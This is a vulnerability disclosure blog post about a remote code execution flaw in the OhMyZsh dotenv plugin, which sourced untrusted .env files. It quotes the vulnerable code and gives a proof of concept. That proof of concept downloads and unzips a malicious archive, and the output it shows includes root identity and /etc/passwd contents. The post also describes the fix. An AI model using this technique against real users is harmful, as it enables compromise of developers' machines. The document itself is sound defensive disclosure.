OhMyZsh dotenv Remote Code Execution
- 4 minsAbstract
OhMyZsh was vulnerable to an RCE (Remote Code Execution) vulnerability due to arbitrarily trusting ENV files at the dotenv plugin. Users downloading a malicious repository or a compressed file can have their machines compromised due to the vulnerability.
Background
OhMyZsh is a highly popular framework for managing ZSH configuration. When writing, it’s ranked in the top 10 Github repositories across all projects.
I enjoy automating my setup with different configurations to be more productive at work. OhMyZsh helps me automate tasks along with my scripts and dotfiles.
I wanted to automate a specific scenario in my development environment, where I have multiple projects on the same machine, and each project has specific environment variables that need to be loaded before starting development. A popular plugin at OhMyZsh supports this functionality, known as the dotenv plugin.
According to the documentation:
[OhMyZsh - dotenv plugin] automatically loads your project ENV variables from the
.env
file when youcd
into the project root directory.
The Dotenv plugin loads environment variables when the user enters the project directory. It was made public in 2016, and the vulnerability has existed in the plugin for the past three years.
I wanted to review the source code before running it on my dev machine.
Vulnerable Code
Commit: https://github.com/ohmyzsh/ohmyzsh/commit/f960e2be6f01abe5f185d668be661b57051322ac
source_env() {
if [[ -f $ZSH_DOTENV_FILE ]]; then
# test .env syntax
zsh -fn $ZSH_DOTENV_FILE || echo "dotenv: error when sourcing '$ZSH_DOTENV_FILE' file" >&2
if [[ -o a ]]; then
source $ZSH_DOTENV_FILE
else
set -a
source $ZSH_DOTENV_FILE
set +a
fi
fi
}
autoload -U add-zsh-hook
add-zsh-hook chpwd source_env
if [[ -z $ZSH_DOTENV_FILE ]]; then
ZSH_DOTENV_FILE=.env
fi
The method used in the dotenv plugin to set the environment variables uses the source
built-in command.
Although the command is typically seen when loading environment variables, source
executes the provided input in Shell - (within the same existing shell; that’s why the variables are loaded within the session).
In our case, whenever a user cd
into a project directory with a .env
file, the file is passed to source
to load the variables - and potentially more.
If the user downloads a malicious repository or compressed file, working with this material leads to remote code execution when using OhMyZsh.
Proof of Concept
$ wget -q "https://github.com/mazen160/public/raw/master/Proof-of-Concepts/ohmyzsh-dotenv-rce/dotenv-poc.zip"
$ unzip dotenv-poc.zip
$ cd dotenv-poc
uid=0(root) gid=0(root) groups=0(root)
root:x:0:0:root:/root:/usr/bin/zsh
Video
Fix
I made a PR to fix the vulnerability at ohmyzsh - PR #8606. The simple fix to the issue is to prompt the user to confirm the issuance of the source
command to the .env
file. It was enhanced and pushed to OhMyZsh master branch now. The update introduces an option for TOFU (Trust on First Use), where trusted paths can be set to be allowed. Users can ensure they’re using an updated version to protect against the vulnerability when using the dotenv plugin.
Final Thoughts
It was an interesting session that occurred by coincidence when working on setting up a development environment. The session outcome resulted in finding a vulnerability in the ohmyzsh project.
PR: https://github.com/ohmyzsh/ohmyzsh/pull/8606
References
- First Release commit (2016): https://github.com/ohmyzsh/ohmyzsh/commit/8d35fa0e2f32dab6894ca06bfc333af94be97ec7
- https://ss64.com/bash/source.html